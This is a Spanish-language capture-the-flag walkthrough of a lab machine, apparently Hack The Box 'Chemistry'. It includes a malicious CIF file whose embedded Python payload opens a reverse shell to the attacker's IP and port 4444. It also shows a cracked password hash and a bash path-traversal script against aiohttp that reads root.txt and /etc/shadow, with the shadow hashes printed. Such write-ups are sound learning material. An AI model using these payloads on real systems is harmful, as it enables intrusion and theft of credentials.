Esta máquina no tiene abierto el puerto 80 por lo que vamos a comprobar los puertos y servicios que tiene corriendo.
Escaneo de puertos
sudonmap-v-sV-sS-T510.10.11.38
PORTSTATESERVICE22/tcpopenssh5000/tcpopenupnp
Nos encontramos 2 puertos abiertos, el 22 típico y el 5000. Nos interesa el puerto 5000, por lo que vamos a escanearlo más en detalle con Nmap:
sudonmap-v-sCV-p5000-T510.10.11.38PORTSTATESERVICEVERSION5000/tcpopenupnp?|fingerprint-strings:|GetRequest:|HTTP/1.1200OK|Server:Werkzeug/3.0.3Python/3.9.5|Date:Thu,07Nov202421:15:55GMT|Content-Type:text/html; charset=utf-8|Content-Length:719|Vary:Cookie|Connection:close|<!DOCTYPEhtml>|<htmllang="en">|<head>|<metacharset="UTF-8">|<metaname="viewport"content="width=device-width, initial-scale=1.0">|<title>Chemistry-Home</title>|<linkrel="stylesheet"href="/static/styles.css">|</head>|<body>|<divclass="container">| class="title">ChemistryCIFAnalyzer</h1>| <p>Welcome to the Chemistry CIF Analyzer. This tool allows you to upload a CIF (Crystallographic Information File) and analyze the structural data contained within.</p>
<-----SNIP----->
Encontramos que el puerto 5000 usa una versión de Werkzeug/3.0.3 que podría ser vulnerable.
Al acceder por el puerto 5000 nos encontramos un frontal con 2 CTAs: login y registro. Vamos a intentar registrarnos:
Al registrarnos en la página llegamos a un dashboard donde podríamos subir un archivo .CIF y encima nos da un link a un archivo CIF de ejemplo que nos vamos a descargar para examinarlo:
Un archivo .cif (Crystallographic Information File) es un formato de texto utilizado principalmente en la química y la cristalografía para almacenar información estructural de cristales. El archivo .cif contiene datos sobre la estructura de una molécula o un cristal, incluidos detalles como las dimensiones de la celda unitaria, los ángulos, las posiciones de los átomos y otros parámetros relacionados con la cristalografía.
Búsqueda de exploits
Haciendo un poco de research nos encontramos con este artículo explotando el CVE-2024-23346:
Según este artículo, podríamos explotar esta vulnerabilidad de subida de un archivo .cif de la siguiente manera:
CIF malicioso
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
_cell_length_c 10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta 90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
_atom_site_label
_atom_site_fract_x
_atom_site_fract_y
_atom_site_fract_z
_atom_site_occupancy
H 0.00000 0.00000 0.00000 1
O 0.50000 0.50000 0.50000 1
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.15.3/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "
Fijaros que en la tercera línea empezando por abajo añadimos una reverse shell hacia nuestra IP de atacante y el puerto 4444
Explotación
Vamos a subir el archivo .cif malicioso al servidor, pero antes vamos a brir un listener de netcat por el puerto 4444:
Una vez subido el cif malicioso lo abrimos con el botón View
Recibimos una shell como el usuario app
User flag
Haciendo un poco de enumeración encontramos el usuario rosa, dentro de la carpeta home, pero no podemos acceder a la flag, necesitamos la contraseña:
$ cd home
$ ls
app
rosa
$ cd rosa
$ ls
user.txt
$ cat user.txt
cat: user.txt: Permission denied
Hacemos un tratamiento de la TTY para movernos un poco mejor y encontramos un archivo interesante que parece un archivo de volcado de una base de datos:
app@chemistry:~/instance$ ls
ls
database.db
app@chemistry:~/instance$ cat database.db
SQLite format 3@ �
�f�K�ytableuseruserCREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(150) NOT NULL,
password VARCHAR(150) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
)';indexsqlite_autoindex_user_1user�3�5tablestructurestructureCREATE TABLE structure (
<----SNIP---->
Como es un archivo bastante grande y con muchos caracteres me lo voy a llevar a Kali Linux para analizarlo mejor. Haciendo un filtrado con grep obtenemos lo que parece un hash del usuario rosa:
En esa cadena observamos 2 hashes, separados por una comilla simple:
Hash de Rosa: 63ed86ee9f624c7b14f1d4f43dc251a5
Hash de App: 197865e46b878d9e74a0346b6d59886a
Al pasar el hash de Rosa por Crackstation nos da la contraseña en plano. También podríamos usar John o Hashcat pero en ocasiones Crackstation es más rápido:
Una contraseña muy propicia para el usuario Rosa... Vamos a conectarnos por ssh:
afsh4ck@kali$ ssh rosa@10.10.11.38
The authenticity of host '10.10.11.38 (10.10.11.38)' can't be established.
ED25519 key fingerprint is SHA256:pCTpV0QcjONI3/FCDpSD+5DavCNbTobQqcaz7PC6S8k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.38' (ED25519) to the list of known hosts.
rosa@10.10.11.38's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)
rosa@chemistry:~$ ls
user.txt
rosa@chemistry:~$ cat user.txt
32e695f95710a09ec**************
Funciona y obtenemos la user flag!
Escalada de privilegios
Lo primero comprobamos los permisos de ejecución, pero no tiene ningún permiso el usuario rosa:
rosa@chemistry:~$ sudo -l
[sudo] password for rosa:
Sorry, user rosa may not run sudo on chemistry.
Vamos a enviar un linpeas a la máquina para encontrar formas de elevar nuestros privilegios:
Lo primero que nos marca en rojo es la versión de sudo, que al parecer puede ser vulnerable:
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version
Sudo version 1.8.31
Probamos varios exploits de esta versión de sudo pero sin éxito en la máquina. Encontramos una web corriendo en localhost por el puerto 8080:
Vamos a hacer un tunneling por SSH desde nuestro Kali Linux para ver de que se trata esta aplicación:
Ahora podríamos acceder a través del navegador en nuestro Kali Linux por el puerto 7000:
Parece un portal en desarrollo ya que no funciona ninguna de las funcionalidades que tiene implementadas. No encontramos información relevante y Wappalizer no es capaz de analizar la tecnología del sitio. Con curl extraemos algo más de información:
Buscando Python/3.9 aiohttp/3.9.1 exploit nos encontramos con que es vulnerable al CVE-2024-23334, que explota una vulnerabilidad Path Traversal en la librería de python AioHTTP =< 3.9.1
Podemos utilizar el siguiente script en bash para explotar este path traversal y que nos devuelva la root flag:
#!/bin/bashurl="http://localhost:8080"string="../"payload="/assets/"file="root/root.txt"# without the first /for ((i=0; i<15; i++)); do payload+="$string"echo"[+] Testing with $payload$file" status_code=$(curl--path-as-is-s-o/dev/null-w"%{http_code}""$url$payload$file")echo-e"\tStatus code --> $status_code"if [[ $status_code -eq200 ]]; thencurl-s--path-as-is"$url$payload$file"breakfidone
Funcionamiento
El script iterativamente sube un nivel (../) y prueba concatenando payload y file. Por ejemplo, si el servidor tiene configurado el directorio raíz en /var/www/html, las rutas que intentará serían:
/assets/root/root.txt
/assets/../root/root.txt
/assets/../../root/root.txt
/assets/../../../root/root.txt
... (hasta 15 niveles).
Si una de las rutas es válida y el servidor devuelve un 200 OK, se asume que el archivo es accesible y se imprime su contenido.
Ejecución del exploit
Necesitamos darle permisos de ejecución con chmod +x:
rosa@chemistry:/tmp$ ./exploit.sh
-bash: ./exploit.sh: Permission denied
rosa@chemistry:/tmp$ chmod +x exploit.sh
rosa@chemistry:/tmp$ ./exploit.sh
[+] Testing with /assets/../root/root.txt
Status code --> 404
[+] Testing with /assets/../../root/root.txt
Status code --> 404
[+] Testing with /assets/../../../root/root.txt
Status code --> 200
7705f58f24***********************
Como vemos eso nos vuelva la root flag (que estaré censurando una parte para evitar spoilers) y con esta técnica podríamos hacernos con cualquier archivo del sistema modificando el script, como por ejemplo /etc/shadow, donde se almacenan las contraseñas hasheadas en Linux e intentar crackear la contraseña del usuario root:
rosa@chemistry:/tmp$ ./exploit.sh
[+] Testing with /assets/../etc/shadow
Status code --> 404
[+] Testing with /assets/../../etc/shadow
Status code --> 404
[+] Testing with /assets/../../../etc/shadow
Status code --> 200
root:$6$51.cQv3bNpiiUadY$0qMYr0nZDIHuPMZuR4e7Lirpje9PwW666fRaPKI8wTaTVBm5fgkaBEojzzjsF.jjH0K0JWi3/poCT6OfBkRpl.:19891:0:99999:7:::
rosa:$6$giyD4I2YumzG4k6.$0h0Gtrjj13qoK6m0XevedDBanbEz6BStzsLwUtrDm5sVkmnHOSSWF8f6W8B9btTEzyskmA2h/7F7gyvX1fzrT0:19893:0:99999:7:::
app:$6$XUL17hADm4qICsPv$QvCHMOImUTmS1jiaTQ2t6ZJtDAzgkqRhFYOMd0nty3lLwpyxTiyMWRgO/jbySPENinpJlL0z3MK1OVEaG44sQ1:19890:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
<----SNIP---->